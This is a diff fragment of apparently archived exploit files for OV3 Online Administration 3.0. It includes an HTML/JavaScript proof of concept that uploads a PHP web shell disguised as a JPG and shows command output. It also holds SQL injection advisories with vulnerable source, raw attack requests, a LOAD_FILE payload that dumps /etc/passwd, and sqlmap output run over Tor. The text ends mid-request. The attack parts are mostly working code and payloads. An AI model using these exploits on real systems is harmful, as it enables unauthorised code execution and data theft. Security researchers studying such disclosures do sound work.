||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
The application ships with a phpinfo() file "m_info.php" by default in the web root directory:
|
||||||
|
|
||||||
|
http://127.0.0.1/m_info.php
|
||||||
|
|
||||||
|
Possibly exploitable for code execution using the PHP LFI to RCE method by Gynvael Coldwind,
|
||||||
|
extended by Brett Moore:
|
||||||
|
|
||||||
|
- http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
|
||||||
|
- https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||||
|
|
165
platforms/php/webapps/42096.txt
Executable file
165
platforms/php/webapps/42096.txt
Executable file
|
@ -0,0 +1,165 @@
|
||||||
|
<!--
|
||||||
|
|
||||||
|
OV3 Online Administration 3.0 Authenticated Code Execution
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: novaCapta Software & Consulting GmbH
|
||||||
|
Product web page: http://www.meacon.de
|
||||||
|
Affected version: 3.0
|
||||||
|
|
||||||
|
Summary: With the decision to use the OV3 as a platform for your data management,
|
||||||
|
the course is set for scalable, flexible and high-performance applications. Whether
|
||||||
|
you use the OV3 for your internal data management or use it for commercial business
|
||||||
|
applications such as shops, portals, etc. Thanks to the data-based structure of the
|
||||||
|
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
|
||||||
|
tool. This eliminates the need to install a new software on all participating client
|
||||||
|
computers. All elements are operated by a standard browser. Further advantages are
|
||||||
|
the location-dependent use and - particularly with ASP solutions - the reduced costs
|
||||||
|
for local hardware like own servers and modern client workstations.
|
||||||
|
|
||||||
|
Desc: The application suffers from an authenticated arbitrary code execution. The
|
||||||
|
vulnerability is caused due to the improper verification of uploaded files in 'image_editor.php'
|
||||||
|
script thru the 'userfile' POST parameter. This can be exploited to execute arbitrary
|
||||||
|
PHP code by uploading a malicious PHP script file that will be stored in '/media/customers/'
|
||||||
|
directory. There is an extension check when uploading images and if the uploaded file
|
||||||
|
does not have the .jpg or .png extension, the application uploads the file with .safety
|
||||||
|
extension, which still executes PHP code. The attacker only needs the sid parameter
|
||||||
|
value which is disclosed within the initial GET request while authenticating and can be
|
||||||
|
collected in MitM attack.
|
||||||
|
|
||||||
|
Tested on: CentOS release 6.8 (Final)
|
||||||
|
PHP/5.3.3
|
||||||
|
Apache/2.2.15
|
||||||
|
MySQL/5.0.11
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5411
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5411.php
|
||||||
|
|
||||||
|
|
||||||
|
26.12.2016
|
||||||
|
|
||||||
|
-->
|
||||||
|
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>history.pushState('', '', '/')</script>
|
||||||
|
<script>
|
||||||
|
function submitRequest()
|
||||||
|
{
|
||||||
|
var xhr = new XMLHttpRequest();
|
||||||
|
xhr.open("POST", "http:\/\/127.0.0.1\/ov3.php?todo=manager&manager=media&sub=insert&edit_id=0&&from=&sid=c7cd370ec516d273230944a2c6495d38&stamp=1234567890&lang=en", true);
|
||||||
|
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5HeURJ9AF8oOlc8q");
|
||||||
|
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
|
||||||
|
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
|
||||||
|
xhr.withCredentials = true;
|
||||||
|
var body = "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"save_close\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"0\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"window_key\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"1482761612\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[user]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"1483825\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[group]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"1095422\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[description]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"ZSL\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[alttext]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[subline]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"file_type\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"upload\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"122914560\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"userfile\"; filename=\"shell.php.jpg\"\r\n" +
|
||||||
|
"Content-Type: image/webp\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\x3c?php system($_REQUEST[\'cmd\']); ?\x3e\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[author]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[copyright]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_confirm]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"1\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in_12_1\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"1\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_expires]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"license_expires\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_expires_0]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_expires_1]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_expires_2]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[license_remind]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"0\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[scheme_id_selected]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" +
|
||||||
|
"Content-Disposition: form-data; name=\"in[scheme_id]\"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"\r\n" +
|
||||||
|
"------WebKitFormBoundary5HeURJ9AF8oOlc8q--\r\n";
|
||||||
|
var aBody = new Uint8Array(body.length);
|
||||||
|
for (var i = 0; i < aBody.length; i++)
|
||||||
|
aBody[i] = body.charCodeAt(i);
|
||||||
|
xhr.send(new Blob([aBody]));
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<form action="#">
|
||||||
|
<input type="button" value="Write file" onclick="submitRequest();" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
|
||||||
|
GET http://127.0.0.1/media/customers/5575/shell.php.jpg?cmd=id HTTP/1.1
|
||||||
|
|
||||||
|
uid=48(apache) gid=48(apache) groups=48(apache)
|
||||||
|
|
||||||
|
-->
|
380
platforms/php/webapps/42097.txt
Executable file
380
platforms/php/webapps/42097.txt
Executable file
|
@ -0,0 +1,380 @@
|
||||||
|
OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
Vendor: novaCapta Software & Consulting GmbH
|
||||||
|
Product web page: http://www.meacon.de
|
||||||
|
Affected version: 3.0
|
||||||
|
|
||||||
|
Summary: With the decision to use the OV3 as a platform for your data management,
|
||||||
|
the course is set for scalable, flexible and high-performance applications. Whether
|
||||||
|
you use the OV3 for your internal data management or use it for commercial business
|
||||||
|
applications such as shops, portals, etc. Thanks to the data-based structure of the
|
||||||
|
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
|
||||||
|
tool. This eliminates the need to install a new software on all participating client
|
||||||
|
computers. All elements are operated by a standard browser. Further advantages are
|
||||||
|
the location-dependent use and - particularly with ASP solutions - the reduced costs
|
||||||
|
for local hardware like own servers and modern client workstations.
|
||||||
|
|
||||||
|
Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple
|
||||||
|
GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised
|
||||||
|
before being returned to the user or used in SQL queries. This can be exploited to manipulate
|
||||||
|
SQL queries by injecting arbitrary SQL code.
|
||||||
|
|
||||||
|
|
||||||
|
Tested on: CentOS release 6.8 (Final)
|
||||||
|
PHP/5.3.3
|
||||||
|
Apache/2.2.15
|
||||||
|
MySQL/5.0.11
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||||
|
@zeroscience
|
||||||
|
|
||||||
|
|
||||||
|
Advisory ID: ZSL-2017-5412
|
||||||
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php
|
||||||
|
|
||||||
|
|
||||||
|
26.12.2016
|
||||||
|
|
||||||
|
--
|
||||||
|
|
||||||
|
The application is using some functions for escaping special characters and boolean checks,
|
||||||
|
but in many scripts there are plenty of vulnerabilities identified.
|
||||||
|
|
||||||
|
One of the vulnerable variables is "u_id" which is called via the login POST parameter.
|
||||||
|
When visiting the application, ov3.php gets loaded as main index which includes session.inc
|
||||||
|
file that contains the admin functions and the main functions for session management.
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
/ov3.php:
|
||||||
|
---------
|
||||||
|
|
||||||
|
21: if(db_connect()!=false){
|
||||||
|
22: include($ov3_path."admin/session_management/session.inc");
|
||||||
|
23: include($ov3_path."admin/functions/functions.inc");
|
||||||
|
24:
|
||||||
|
25: // Escapen wichtiger Variablen
|
||||||
|
26: $sid = addslashes($sid);
|
||||||
|
27: $lang = addslashes($lang);
|
||||||
|
28:
|
||||||
|
29: // Session ueberpruefen bzw. anlegen
|
||||||
|
30: $u_info=check_session($sid);
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
|
||||||
|
|
||||||
|
The vulnerabilities can be triggered in four session functions: new_session(), check_session(),
|
||||||
|
session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe
|
||||||
|
functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents.
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
/admin/session_management/session.inc:
|
||||||
|
--------------------------------------
|
||||||
|
|
||||||
|
18: function check_session($sid){
|
||||||
|
19: global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP;
|
||||||
|
20:
|
||||||
|
21: if($sid==""){return -2;} // keine SID geliefert
|
||||||
|
22: $result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__);
|
||||||
|
23: if(db_rows($result)!=1){return -1;}
|
||||||
|
24: // Session existiert
|
||||||
|
25: $data = db_fetch_array($result,"");
|
||||||
|
26: db_free($result);
|
||||||
|
27: unset($result);
|
||||||
|
28: if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen
|
||||||
|
29: if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){
|
||||||
|
30: // IP check
|
||||||
|
31: $nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),".");
|
||||||
|
32: //echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes);
|
||||||
|
33: if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){
|
||||||
|
34: return -4; // ip stimmt nicht
|
||||||
|
35: }
|
||||||
|
36: }
|
||||||
|
37: touch_session($sid);
|
||||||
|
38: return $data;
|
||||||
|
39: }
|
||||||
|
....
|
||||||
|
....
|
||||||
|
60: function new_session() {
|
||||||
|
61: global $session_time, $db;
|
||||||
|
62:
|
||||||
|
63: // microtime ist nur uf Unix Systemen verfuegbar. sonst: time()
|
||||||
|
64: if (OV_DEBUG==false) {
|
||||||
|
65: srand(microtime() * 1000000);
|
||||||
|
66: $sid=md5(uniqid(rand()));
|
||||||
|
67: } else {
|
||||||
|
68: $sid = $_GET['temp_sid'];
|
||||||
|
69: db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'");
|
||||||
|
70: }
|
||||||
|
71:
|
||||||
|
72: $time=time();
|
||||||
|
73:
|
||||||
|
74: db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__);
|
||||||
|
75:
|
||||||
|
76: unset($time);
|
||||||
|
77: return $sid;
|
||||||
|
78: }
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
|
||||||
|
|
||||||
|
The following PoC request demonstrates the issue:
|
||||||
|
|
||||||
|
GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: ZSL/3.0'
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate, sdch
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
DNT: 1
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Server: Apache/2.2.15 (CentOS)
|
||||||
|
X-Powered-By: PHP/5.3.3
|
||||||
|
Expires: Mon, 26 Jul 1997 05:00:00 GMT
|
||||||
|
Cache-Control: no-store, no-cache, must-revalidate
|
||||||
|
Cache-Control: post-check=0, pre-check=0
|
||||||
|
Pragma: no-cache
|
||||||
|
Content-Length: 2400
|
||||||
|
Connection: close
|
||||||
|
Content-Type: text/html
|
||||||
|
|
||||||
|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0''' at line 1<br>SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid='ba2211a30f4d1b395ca5c987eda4TEST' and user_agent='ZSL/3.0''<br>File: /opt/www/admin/session_management/session.inc<br>Line: 22<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0'')' at line 1<br>INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values ('78bed236c22de53aa235a2978bfad608', 1487616926, 1487624126, '127.0.0.1', 'ZSL/3.0'')<br>File: /opt/www/admin/session_management/session.inc<br>Line: 74
|
||||||
|
|
||||||
|
|
||||||
|
Going back to other parameters, multiple vectors available:
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
/admin/session_management/session.inc:
|
||||||
|
--------------------------------------
|
||||||
|
|
||||||
|
90: function session_info($sid,$value){
|
||||||
|
91: global $u_id, $db;
|
||||||
|
92:
|
||||||
|
93: switch($value){
|
||||||
|
94: case "admin":
|
||||||
|
95: $result=db_exec("SELECT c_id,u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
|
||||||
|
96: $session_array=db_fetch_assoc($result,"");
|
||||||
|
97: $ret=$session_array["c_id"]."/".$session_array["u_id"];
|
||||||
|
98: break;
|
||||||
|
99: case "client":
|
||||||
|
100: $result=db_exec("SELECT client_auth FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
|
||||||
|
101: list($ret)=db_fetch_row($result,"");
|
||||||
|
102: break;
|
||||||
|
103: case "time":
|
||||||
|
104: $result=db_row("SELECT s_time FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
|
||||||
|
105: list($ret)=db_fetch_row($result,"");
|
||||||
|
106: break;
|
||||||
|
107: case 'ip':
|
||||||
|
108: $result=db_exec("SELECT ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
|
||||||
|
109: list($ret)=db_fetch_row($result,"");
|
||||||
|
110: break;
|
||||||
|
111: case 'u_id':
|
||||||
|
112: $result=db_exec("SELECT u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
|
||||||
|
113: list($ret)=db_fetch_row($result,"");
|
||||||
|
114: break;
|
||||||
|
115: case 'c_id':
|
||||||
|
116: $result=db_exec("SELECT c_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
|
||||||
|
117: list($ret)=db_fetch_row($result,"");
|
||||||
|
118: break;
|
||||||
|
119: case 'login':
|
||||||
|
120: $ret=session_info($sid, "u_id");
|
||||||
|
121: $result=db_exec("SELECT u_name FROM ov_adminusers WHERE u_id=".$ret, __FILE__, __LINE__);
|
||||||
|
122: list($ret)=db_fetch_row($result,"");
|
||||||
|
123: break;
|
||||||
|
....
|
||||||
|
....
|
||||||
|
279: function check_login($sid,$login,$pwd){
|
||||||
|
280: global $browser, $system, $ver, $lang, $login_mess, $gui, $sn_cl, $db;
|
||||||
|
281:
|
||||||
|
282: // Check, ob browser ueberhaupt akzeptabel
|
||||||
|
283: $browser_ok = db_get_val("SELECT admin_browser_ok FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
|
||||||
|
284:
|
||||||
|
285: if($browser_ok!=1){
|
||||||
|
286: $ret=false;
|
||||||
|
287: $login_mess=$gui["login"]["browser_zu_alt"];
|
||||||
|
288: } else {
|
||||||
|
289: if(empty($login) && empty($pwd)){
|
||||||
|
290: $ret=false;
|
||||||
|
281: $login_mess=$gui["login"]["fehlt_name_und_pwd"];//"Bitte Loginname und Passwort eingeben";
|
||||||
|
282: } elseif(empty($login)){
|
||||||
|
283: $ret=false;
|
||||||
|
284: $login_mess=$gui["login"]["fehlt_name"];//"Bitte Loginname eingeben";
|
||||||
|
285: } elseif(empty($pwd)){
|
||||||
|
286: $ret=false;
|
||||||
|
287: $login_mess=$gui["login"]["fehlt_pwd"];//"Bitte Passwort eingeben";
|
||||||
|
288: } else{
|
||||||
|
289: $sql="SELECT ".db_convert("limit0",""," 1")." c_id,u_id,u_pwd,u_logtime FROM ov_adminusers WHERE u_name=".$db[DB_SYSTEM]['uc_prefix']."'".$login."' and (active=1 or active=-2) ".db_convert("limit1",""," 1");
|
||||||
|
290: $result=db_exec($sql, __FILE__, __LINE__);
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
|
||||||
|
|
||||||
|
PoC request using sqlmap LOAD_FILE(/etc/passwd):
|
||||||
|
------------------------------------------------
|
||||||
|
|
||||||
|
POST /ov3.php?todo=login&admin=login&sid=93be715421fafd53acfa1e90aa4dTEST&stamp=1234567890&lang=de HTTP/1.1
|
||||||
|
Origin: http://127.0.0.1
|
||||||
|
Content-Length: 373
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Host: 127.0.0.1
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Dnt: 1
|
||||||
|
Connection: close
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
User-Agent: ZSL/3.0
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
login=sql' AND (SELECT 9673 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20)),1,54)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yoVM&pwd=test&browser=ns&ver=6&system=mac
|
||||||
|
|
||||||
|
|
||||||
|
Output:
|
||||||
|
|
||||||
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||||
|
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||||
|
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
||||||
|
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
||||||
|
sync:x:5:0:sync:/sbin:/bin/sync
|
||||||
|
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
||||||
|
...
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
|
Output from sqlmap:
|
||||||
|
-------------------
|
||||||
|
|
||||||
|
# python sqlmap.py -r request.txt --dbms=MySQL -f --hostname -p login --tor --time-sec=15
|
||||||
|
|
||||||
|
[*] starting at 00:36:07
|
||||||
|
|
||||||
|
[00:36:07] [INFO] parsing HTTP request from 'request.txt'
|
||||||
|
[00:36:07] [INFO] setting Tor SOCKS proxy settings
|
||||||
|
[00:36:07] [INFO] testing connection to the target URL
|
||||||
|
sqlmap resumed the following injection point(s) from stored session:
|
||||||
|
---
|
||||||
|
Parameter: login (POST)
|
||||||
|
Type: boolean-based blind
|
||||||
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
|
||||||
|
Payload: login=sql' RLIKE (SELECT (CASE WHEN (2881=2881) THEN 0x73716c ELSE 0x28 END))-- pMGL&pwd=test&browser=ns&ver=6&system=mac
|
||||||
|
|
||||||
|
Type: error-based
|
||||||
|
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
||||||
|
Payload: login=sql' AND (SELECT 4371 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(4371=4371,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jFHk&pwd=test&browser=ns&ver=6&system=mac
|
||||||
|
|
||||||
|
Type: AND/OR time-based blind
|
||||||
|
Title: MySQL >= 5.0.12 OR time-based blind
|
||||||
|
Payload: login=sql' OR SLEEP(15)-- iSlp&pwd=test&browser=ns&ver=6&system=mac
|
||||||
|
---
|
||||||
|
[00:36:08] [INFO] testing MySQL
|
||||||
|
[00:36:08] [INFO] confirming MySQL
|
||||||
|
[00:36:08] [INFO] the back-end DBMS is MySQL
|
||||||
|
[00:36:08] [INFO] actively fingerprinting MySQL
|
||||||
|
[00:36:14] [INFO] executing MySQL comment injection fingerprint
|
||||||
|
[00:36:15] [WARNING] unable to perform MySQL comment injection
|
||||||
|
web server operating system: Linux CentOS 6.8
|
||||||
|
web application technology: PHP 5.3.3, Apache 2.2.15
|
||||||
|
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.19
|
||||||
|
[00:36:15] [INFO] fetching server hostname
|
||||||
|
[00:36:15] [INFO] resumed: zslab.local
|
||||||
|
hostname: 'zslab.local'
|
||||||
|
[00:36:15] [INFO] fetched data logged to text files under '/Users/thricer/.sqlmap/output/zslab.local'
|
||||||
|
|
||||||
|
[*] shutting down at 00:36:15
|
||||||
|
|
||||||
|
#
|
||||||
|
|
||||||
|
|
||||||
|
Another example using the "ls[typedef]" POST parameter:
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
/admin/manager/media/display.inc:
|
||||||
|
---------------------------------
|
||||||
|
|
||||||
|
268: $result=db_exec($sql." ".$sortby, __FILE__, __LINE__);
|
||||||
|
|
||||||
|
============================================================================================
|
||||||
|
|
||||||
|
Request:
|
||||||
|
|
||||||
|
POST /ov3.php?todo=manager&manager=media&sub=display&show=1&ls[small]=&ls[iname]=&ls[size]=&ls[editkey]=&ls[width]=&ls[height]=&ls[mwidth]=&ls[mheight]=&ls[typedef]=*** SQL INJECT ***&ls[edit]=&ls[ov_edit]=&ls[scheme]=&ls[language_id]=&ls[search]=&ls[dsearch]=&ls[type]=&ls[context]=&ls[preview]=&ls[module]=&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
Content-Length: 128
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
User-Agent: ZSL/3.0
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.8
|
||||||
|
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
|
||||||
|
DNT: 1
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
rs%5Bsearch%5D=ab&rs%5Bdsearch%5D=&rs%5Btype%5D=&rs%5Bcontext%5D=&rs%5Bmodule%5D=&rs%5Bscheme%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=
|
||||||
|
|
||||||
|
|
||||||
|
Response:
|
||||||
|
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Server: Apache/2.2.15 (CentOS)
|
||||||
|
X-Powered-By: PHP/5.3.3
|
||||||
|
Expires: Mon, 26 Jul 1997 05:00:00 GMT
|
||||||
|
Cache-Control: no-store, no-cache, must-revalidate
|
||||||
|
Cache-Control: post-check=0, pre-check=0
|
||||||
|
Pragma: no-cache
|
||||||
|
Content-Length: 7154
|
||||||
|
Connection: close
|
||||||
|
Content-Type: text/html
|
||||||
|
|
||||||
|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY file_name ASC' at line 1<br>SELECT params, media_data_1337.locked, media_data_1337.locked_by, id, media_data_1337.changed, type, file_internal, file_name, size, media_data_1337.description,copyright,scheme_id,instances FROM media_data_1337 WHERE (file_name LIKE '%ab%' OR file_internal LIKE '%ab%') and type=''' ORDER BY file_name ASC<br>File: /opt/www/admin/manager/media/display.inc<br>Line: 268<br><html>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
POST parameters "rs[module]", "rs[path]" and "rs[edit_id]" via /admin/functions/functions.inc on line 499 also
|
||||||
|
allows the attacker to easily break out of the query by using the single quote character getting a detailed sql
|
||||||
|
syntax error disclosing the file path and table names:
|
||||||
|
|
||||||
|
499: $result=db_exec("SELECT COUNT(*) AS num FROM tasklists_".$c_id." WHERE (tl_pos=0 AND m_id=".$module." AND language_id='".$language_id."') OR (tl_pos=0 AND m_id=-1)", __FILE__, __LINE__);
|
||||||
|
|
||||||
|
|
||||||
|
Request:
|
||||||
|
|
||||||
|
POST /ov3.php?todo=manager&manager=task&sub=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
Content-Length: 115
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Origin: http://127.0.0.1
|
||||||
|
